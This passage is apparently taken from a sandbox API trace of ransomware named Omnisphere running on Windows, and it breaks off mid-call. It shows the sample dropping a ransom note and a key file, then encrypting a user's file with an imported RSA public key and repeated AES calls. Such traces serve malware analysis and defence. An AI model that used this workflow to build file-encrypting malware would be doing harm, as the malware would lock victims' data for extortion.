pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0127.281] GetProcessHeap () returned 0x1600000 [0127.281] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16e8938 [0127.282] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.282] WriteFile (in: hFile=0x28c, lpBuffer=0x16e8938*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16e8938*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0127.282] CloseHandle (hObject=0x28c) returned 1 [0127.282] GetProcessHeap () returned 0x1600000 [0127.282] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16f20c0 | out: hHeap=0x1600000) returned 1 [0127.282] GetProcessHeap () returned 0x1600000 [0127.282] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0127.282] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0127.282] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.282] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0127.282] CloseHandle (hObject=0x28c) returned 1 [0127.283] GetProcessHeap () returned 0x1600000 [0127.283] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0127.283] GetProcessHeap () returned 0x1600000 [0127.283] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bb28 | out: hHeap=0x1600000) returned 1 [0127.283] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x209ea3b1, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x209ea3b1, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x209ea3b1, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x4a4, dwReserved0=0x0, dwReserved1=0xd3, cFileName="WkZQJwjjVnx.lnk", cAlternateFileName="WKZQJW~1.LNK")) returned 1 [0127.283] GetProcessHeap () returned 0x1600000 [0127.283] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa0) returned 0x1656e08 [0127.283] PathCombineW (in: pszDest=0x1656e08, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="WkZQJwjjVnx.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkZQJwjjVnx.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkZQJwjjVnx.lnk" [0127.283] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0127.283] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\WkZQJwjjVnx.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\wkzqjwjjvnx.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0127.283] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1188) returned 1 [0127.283] GetTickCount () returned 0x115fc2f [0127.283] GetTickCount () returned 0x115fc2f [0127.283] GetTickCount () returned 0x115fc2f [0127.283] GetTickCount () returned 0x115fc2f [0127.283] GetTickCount () returned 0x115fc2f [0127.283] GetTickCount () returned 0x115fc2f [0127.283] GetTickCount () returned 0x115fc2f [0127.283] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] GetTickCount () returned 0x115fc2f [0127.284] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16682c8) returned 1 [0127.285] CryptImportKey (in: hProv=0x16682c8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0127.285] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0127.285] CryptDestroyKey (hKey=0x1639b28) returned 1 [0127.285] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0127.285] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a4, lpName=0x0) returned 0x288 [0127.285] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a4) returned 0x1480000 [0127.285] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16688a0) returned 1 [0127.286] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0127.286] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.286] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.287] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.288] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0127.289] CryptDestroyKey (hKey=0x1639868) returned 1 [0127.289] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0127.289] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x4a4, lpNewFilePointer=0x0, 